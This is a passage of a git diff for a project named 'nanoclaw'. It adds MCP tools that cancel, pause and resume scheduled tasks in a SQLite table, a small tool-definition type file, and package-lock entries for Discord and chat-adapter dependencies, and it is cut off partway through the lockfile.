McpToolDefinition = { + tool: { + name: 'cancel_task', + description: 'Cancel a scheduled task.', + inputSchema: { + type: 'object' as const, + properties: { + taskId: { type: 'string', description: 'Task ID to cancel' }, + }, + required: ['taskId'], + }, + }, + async handler(args) { + const taskId = args.taskId as string; + if (!taskId) return err('taskId is required'); + + const result = getSessionDb() + .prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')") + .run(taskId); + + if (result.changes === 0) return err(`Task not found or not cancellable: ${taskId}`); + + log(`cancel_task: ${taskId}`); + return ok(`Task cancelled: ${taskId}`); + }, +}; + +export const pauseTask: McpToolDefinition = { + tool: { + name: 'pause_task', + description: 'Pause a scheduled task. It will not run until resumed.', + inputSchema: { + type: 'object' as const, + properties: { + taskId: { type: 'string', description: 'Task ID to pause' }, + }, + required: ['taskId'], + }, + }, + async handler(args) { + const taskId = args.taskId as string; + if (!taskId) return err('taskId is required'); + + const result = getSessionDb() + .prepare("UPDATE messages_in SET status = 'paused', status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status = 'pending'") + .run(taskId); + + if (result.changes === 0) return err(`Task not found or not pausable: ${taskId}`); + + log(`pause_task: ${taskId}`); + return ok(`Task paused: ${taskId}`); + }, +}; + +export const resumeTask: McpToolDefinition = { + tool: { + name: 'resume_task', + description: 'Resume a paused task.', + inputSchema: { + type: 'object' as const, + properties: { + taskId: { type: 'string', description: 'Task ID to resume' }, + }, + required: ['taskId'], + }, + }, + async handler(args) { + const taskId = args.taskId as string; + if (!taskId) return err('taskId is required'); + + const result = getSessionDb() + .prepare("UPDATE messages_in SET status = 'pending', status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status = 'paused'") + .run(taskId); + + if (result.changes === 0) return err(`Task not found or not paused: ${taskId}`); + + log(`resume_task: ${taskId}`); + return ok(`Task resumed: ${taskId}`); + }, +}; + +export const schedulingTools: McpToolDefinition[] = [scheduleTask, listTasks, cancelTask, pauseTask, resumeTask]; diff --git a/container/agent-runner/src/mcp-tools/types.ts b/container/agent-runner/src/mcp-tools/types.ts new file mode 100644 index 0000000..d4637d0 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/types.ts @@ -0,0 +1,6 @@ +import type { Tool, CallToolResult } from '@modelcontextprotocol/sdk/types.js'; + +export interface McpToolDefinition { + tool: Tool; + handler: (args: Record) => Promise; +} diff --git a/package-lock.json b/package-lock.json index ebd7b83..97b055e 100644 --- a/package-lock.json +++ b/package-lock.json @@ -8,8 +8,11 @@ "name": "nanoclaw", "version": "1.2.52", "dependencies": { + "@chat-adapter/discord": "^4.24.0", + "@chat-adapter/state-memory": "^4.24.0", "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", + "chat": "^4.24.0", "cron-parser": "5.5.0" }, "devDependencies": { @@ -30,6 +33,183 @@ "node": ">=20" } }, + "node_modules/@chat-adapter/discord": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/discord/-/discord-4.24.0.tgz", + "integrity": "sha512-nyLLBClOjzkzsCDOXoZvYJ91GA3EEYEQA7YsDHthra7YjEpPo4Osl65bdm54z/5Rl6VW7QofK6B5DSN4UJzQPA==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "chat": "4.24.0", + "discord-api-types": "^0.37.119", + "discord-interactions": "^4.4.0", + "discord.js": "^14.25.1" + } + }, + "node_modules/@chat-adapter/discord/node_modules/discord-api-types": { + "version": "0.37.120", + "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.37.120.tgz", + "integrity": "sha512-7xpNK0EiWjjDFp2nAhHXezE4OUWm7s1zhc/UXXN6hnFFU8dfoPHgV0Hx0RPiCa3ILRpdeh152icc68DGCyXYIw==", + "license": "MIT" + }, + "node_modules/@chat-adapter/shared": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/shared/-/shared-4.24.0.tgz", + "integrity": "sha512-TINx2tGIb7R76LWRII7LUclRFGUAB4ytosEaL054bYm0T1t52suQAHSqCZrLjlc060TNhBNUFJY3Fd9YpTantw==", + "license": "MIT", + "dependencies": { + "chat": "4.24.0" + } + }, + "node_modules/@chat-adapter/state-memory": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/state-memory/-/state-memory-4.24.0.tgz", + "integrity": "sha512-K/o1KfZ7DH0Y7wcn8aCxD+QmfGaZ4yj5Qyk4VdvLGcUZTUkgS1how8DkcYBDcX3NoKv9DsqM+joQnWc3Pe8dbA==", + "license": "MIT", + "dependencies": { + "chat": "4.24.0" + } + }, + "node_modules/@discordjs/builders": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@discordjs/builders/-/builders-1.14.1.tgz", + "integrity": "sha512-gSKkhXLqs96TCzk66VZuHHl8z2bQMJFGwrXC0f33ngK+FLNau4hU1PYny3DNJfNdSH+gVMzE85/d5FQ2BpcNwQ==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/formatters": "^0.6.2", + "@discordjs/util": "^1.2.0", + "@sapphire/shapeshift": "^4.0.0", + "discord-api-types": "^0.38.40", + "fast-deep-equal": "^3.1.3", + "ts-mixer": "^6.0.4", + "tslib": "^2.6.3" + }, + "engines": { + "node": ">=16.11.0" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/collection": { + "version": "1.5.3", + "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-1.5.3.tgz", + "integrity": "sha512-SVb428OMd3WO1paV3rm6tSjM4wC+Kecaa1EUGX7vc6/fddvw/6lg90z4QtCqm21zvVe92vMMDt9+DkIvjXImQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=16.11.0" + } + }, + "node_modules/@discordjs/formatters": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/@discordjs/formatters/-/formatters-0.6.2.tgz", + "integrity": "sha512-y4UPwWhH6vChKRkGdMB4odasUbHOUwy7KL+OVwF86PvT6QVOwElx+TiI1/6kcmcEe+g5YRXJFiXSXUdabqZOvQ==", + "license": "Apache-2.0", + "dependencies": { + "discord-api-types": "^0.38.33" + }, + "engines": { + "node": ">=16.11.0" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/rest": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/@discordjs/rest/-/rest-2.6.1.tgz", + "integrity": "sha512-wwQdgjeaoYFiaG+atbqx6aJDpqW7JHAo0HrQkBTbYzM3/PJ3GweQIpgElNcGZ26DCUOXMyawYd0YF7vtr+fZXg==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/collection": "^2.1.1", + "@discordjs/util": "^1.2.0", + "@sapphire/async-queue": "^1.5.3", + "@sapphire/snowflake": "^3.5.5", + "@vladfrangu/async_event_emitter": "^2.4.6", + "discord-api-types": "^0.38.40", + "magic-bytes.js": "^1.13.0", + "tslib": "^2.6.3", + "undici": "6.24.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/rest/node_modules/@discordjs/collection": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-2.1.1.tgz", + "integrity": "sha512-LiSusze9Tc7qF03sLCujF5iZp7K+vRNEDBZ86FT9aQAv3vxMLihUvKvpsCWiQ2DJq1tVckopKm1rxomgNUc9hg==", + "license": "Apache-2.0", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/rest/node_modules/@sapphire/snowflake": { + "version": "3.5.5", + "resolved": "https://registry.npmjs.org/@sapphire/snowflake/-/snowflake-3.5.5.tgz", + "integrity": "sha512-xzvBr1Q1c4lCe7i6sRnrofxeO1QTP/LKQ6A6qy0iB4x5yfiSfARMEQEghojzTNALDTcv8En04qYNIco9/K9eZQ==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/@discordjs/util": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@discordjs/util/-/util-1.2.0.tgz", + "integrity": "sha512-3LKP7F2+atl9vJFhaBjn4nOaSWahZ/yWjOvA4e5pnXkt2qyXRCHLxoBQy81GFtLGCq7K9lPm9R517M1U+/90Qg==", + "license": "Apache-2.0", + "dependencies": { + "discord-api-types": "^0.38.33" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/ws": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@discordjs/ws/-/ws-1.2.3.tgz", + "integrity": "sha512-wPlQDxEmlDg5IxhJPuxXr3Vy9AjYq5xCvFWGJyD7w7Np8ZGu+Mc+97LCoEc/+AYCo2IDpKioiH0/c/mj5ZR9Uw==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/collection": "^2.1.0", + "@discordjs/rest": "^2.5.1", + "@discordjs/util": "^1.1.0", + "@sapphire/async-queue": "^1.5.2", + "@types/ws": "^8.5.10", + "@vladfrangu/async_event_emitter": "^2.2.4", + "discord-api-types": "^0.38.1", + "tslib": "^2.6.2", + "ws": "^8.17.0" + }, + "engines": { + "node": ">=16.11.0" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/ws/node_modules/@discordjs/collection": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-2.1.1.tgz", + "integrity": "sha512-LiSusze9Tc7qF03sLCujF5iZp7K+vRNEDBZ86FT9aQAv3vxMLihUvKvpsCWiQ2DJq1tVckopKm1rxomgNUc9hg==", + "license": "Apache-2.0", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, "node_modules/@esbuild/aix-ppc64": { "version": "0.27.3", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.3.tgz", @@ -1043,6 +1223,39 @@ "win32" ] }, + "node_modules/@sapphire/async-queue": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@sapphire/async-queue/-/async-queue-1.5.5.tgz", + "integrity": "sha512-cvGzxbba6sav2zZkH8GPf2oGk9yYoD5qrNWdu9fRehifgnFZJMV+nuy2nON2roRO4yQQ+v7MK/Pktl/HgfsUXg==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/@sapphire/shapeshift": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@sapphire/shapeshift/-/shapeshift-4.0.0.tgz", + "integrity": "sha512-d9dUmWVA7MMiKobL3VpLF8P2aeanRTu6ypG2OIaEv/ZHH/SUQ2iHOVyi5wAPjQ+HmnMuL0whK9ez8I/raWbtIg==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "lodash": "^4.17.21" + }, + "engines": { + "node": ">=v16" + } + }, + "node_modules/@sapphire/snowflake": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/@sapphire/snowflake/-/snowflake-3.5.3.tgz", + "integrity": "sha512-jjmJywLAFoWeBi1W7994zZyiNWPIiqRRNAmSERxyg93xRGzNYvGjlZ0gR6x0F4gPRi2+0O6S71kOZYyr3cxaIQ==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, "node_modules/@standard-schema/spec": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", @@ -1071,6 +1284,15 @@ "assertion-error": "^2.0.1" } }, + "node_modules/@types/debug": { + "version": "4.1.13", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.13.tgz", + "integrity": "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==", + "license": "MIT", + "dependencies": { + "@types/ms": "*" + } + }, "node_modules/@types/deep-eql": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", @@ -1091,16 +1313,45 @@ "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", "dev": true }, + "node_modules/@types/mdast": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz", + "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==", + "license": "MIT", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "license": "MIT" + }, "node_modules/@types/node": { "version": "22.19.11", "resolved": "https://registry.npmjs.org/@types/node/-/node-22.19.11.tgz", "integrity": "sha512-BH7YwL6rA93ReqeQS1c4bsPpcfOmJasG+Fkr6Y59q83f9M1WcBRHR2vM+P9eOisYRcN3ujQoiZY8uk5W+1WL8w==", - "dev": true, "license": "MIT", "dependencies": { "undici-types": "~6.21.0" } }, + "node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/@types/ws": { + "version": "8.18.1", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.18.1.tgz", + "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, "node_modules/@typescript-eslint/eslint-plugin": { "version": "8.57.2", "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.57.2.tgz", @@ -1479,6 +1730,22 @@ "url": "https://opencollective.com/vitest" } }, + "node_modules/@vladfrangu/async_event_emitter": { + "version": "2.4.7", + "resolved": "https://registry.npmjs.org/@vladfrangu/async_event_emitter/-/async_event_emitter-2.4.7.tgz", + "integrity": "sha512-Xfe6rpCTxSxfbswi/W/Pz7zp1WWSNn4A0eW4mLkQUewCrXXtMj31lCg+iQyTkh/CkusZSq9eDflu7tjEDXUY6g==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/@workflow/serde": { + "version": "4.1.0-beta.2", + "resolved": "https://registry.npmjs.org/@workflow/serde/-/serde-4.1.0-beta.2.tgz", + "integrity": "sha512-8kkeoQKLDaKXefjV5dbhBj2aErfKp1Mc4pb6tj8144cF+Em5SPbyMbyLCHp+BVrFfFVCBluCtMx+jjvaFVZGww==", + "license": "Apache-2.0" + }, "node_modules/acorn": { "version": "8.16.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", @@ -1547,6 +1814,16 @@ "node": ">=12" } }, + "node_modules/bail": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", + "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", @@ -1648,6 +1925,16 @@ "node": ">=6" } }, + "node_modules/ccount": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz", + "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/chai": { "version": "6.2.2", "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", @@ -1674,6 +1961,31 @@ "url": "https://github.com/chalk/chalk?sponsor=1" } }, + "node_modules/character-entities": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", + "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chat": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/chat/-/chat-4.24.0.tgz", + "integrity": "sha512-0TxglwtGRMGlqERuHVZZ27Z4YBeZH3oRXCqHZYuI41L7xcSHF5C3wEHTMdVqHp3p8ZKQcKYQPOwYWvaeFVa4+g==", + "license": "MIT", + "dependencies": { + "@workflow/serde": "4.1.0-beta.2", + "mdast-util-to-string": "^4.0.0", + "remark-gfm": "^4.0.0", + "remark-parse": "^11.0.0", + "remark-stringify": "^11.0.0", + "remend": "^1.2.1", + "unified": "^11.0.5" + } + }, "node_modules/chownr": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", @@ -1734,7 +2046,6 @@ "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "dev": true, "license": "MIT", "dependencies": { "ms": "^2.1.3" @@ -1748,6 +2059,19 @@ } } }, + "node_modules/decode-named-character-reference": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.3.0.tgz", + "integrity": "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==", + "license": "MIT", + "dependencies": { + "character-entities": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/decompress-response": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", @@ -1778,6 +2102,15 @@ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", "dev": true }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, "node_modules/detect-libc": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", @@ -1787,6 +2120,64 @@ "node": ">=8" } }, + "node_modules/devlop": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz", + "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==", + "license": "MIT", + "dependencies": { + "dequal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/discord-api-types": { + "version": "0.38.44", + "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.38.44.tgz", + "integrity": "sha512-q91MgBzP/gRaCLIbQTaOrOhbD8uVIaPKxpgX2sfFB2nZ9nSiTYM9P3NFQ7cbO6NCxctI6ODttc67MI+YhIfILg==", + "license": "MIT", + "workspaces": [ + "scripts/actions/documentation" + ] + }, + "node_modules/discord-interactions": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/discord-interactions/-/discord-interactions-4.4.0.tgz", + "integrity": "sha512-jjJx8iwAeJcj8oEauV43fue9lNqkf38fy60aSs2+G8D1nJmDxUIrk08o3h0F3wgwuBWWJUZO+X/VgfXsxpCiJA==", + "license": "MIT", + "engines": { + "node": ">=18.4.0" + } + }, + "node_modules/discord.js": { + "version": "14.26.2", + "resolved": "https://registry.npmjs.org/discord.js/-/discord.js-14.26.2.tgz", + "integrity": "sha512-feShi+gULJ6R2MAA4/KkCFnkJcuVrROJrKk4czplzq8gE1oqhqgOy9K0Scu44B8oGeWKe04egquzf+ia6VtXAw==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/builders": "^1.14.1", + "@discordjs/collection": "1.5.3", + "@discordjs/formatters": "^0.6.2", + "@discordjs/rest": "^2.6.1", + "@discordjs/util": "^1.2.0", + "@discordjs/ws": "^1.2.3", + "@sapphire/snowflake": "3.5.3", + "discord-api-types": "^0.38.40", + "fast-deep-equal": "3.1.3", + "lodash.snakecase": "4.1.1", + "magic-bytes.js": "^1.13.0", + "tslib": "^2.6.3", + "undici": "6.24.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, "node_modules/end-of-stream": { "version": "1.4.5", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", @@ -2041,11 +2432,16 @@ "node": ">=12.0.0" } }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "license": "MIT" + }, "node_modules/fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" }, "node_modules/fast-json-stable-stringify": { "version": "2.1.0", @@ -2307,6 +2703,18 @@ "node": ">=0.10.0" } }, + "node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", @@ -2380,12 +2788,34 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/lodash": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "license": "MIT" + }, "node_modules/lodash.merge": { "version": "4.6.2", "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", "dev": true }, + "node_modules/lodash.snakecase": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.snakecase/-/lodash.snakecase-4.1.1.tgz", + "integrity": "sha512-QZ1d4xoBHYUeuouhEq3lk3Uq7ldgyFXGBhg04+oRLnIz8o9T65Eh+8YdroUwn846zchkA9yDsDl5CVVaV2nqYw==", + "license": "MIT" + }, + "node_modules/longest-streak": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", + "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/luxon": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/luxon/-/luxon-3.7.2.tgz", @@ -2395,6 +2825,12 @@ "node": ">=12" } }, + "node_modules/magic-bytes.js": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/magic-bytes.js/-/magic-bytes.js-1.13.0.tgz", + "integrity": "sha512-afO2mnxW7GDTXMm5/AoN1WuOcdoKhtgXjIvHmobqTD1grNplhGdv3PFOyjCVmrnOZBIT/gD/koDKpYG+0mvHcg==", + "license": "MIT" + }, "node_modules/magic-string": { "version": "0.30.21", "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", @@ -2405,6 +2841,780 @@ "@jridgewell/sourcemap-codec": "^1.5.5" } }, + "node_modules/markdown-table": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.4.tgz", + "integrity": "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/mdast-util-find-and-replace": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-3.0.2.tgz", + "integrity": "sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "escape-string-regexp": "^5.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-find-and-replace/node_modules/escape-string-regexp": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mdast-util-from-markdown": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.3.tgz", + "integrity": "sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "mdast-util-to-string": "^4.0.0", + "micromark": "^4.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-3.1.0.tgz", + "integrity": "sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ==", + "license": "MIT", + "dependencies": { + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-gfm-autolink-literal": "^2.0.0", + "mdast-util-gfm-footnote": "^2.0.0", + "mdast-util-gfm-strikethrough": "^2.0.0", + "mdast-util-gfm-table": "^2.0.0", + "mdast-util-gfm-task-list-item": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-autolink-literal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-2.0.1.tgz", + "integrity": "sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "ccount": "^2.0.0", + "devlop": "^1.0.0", + 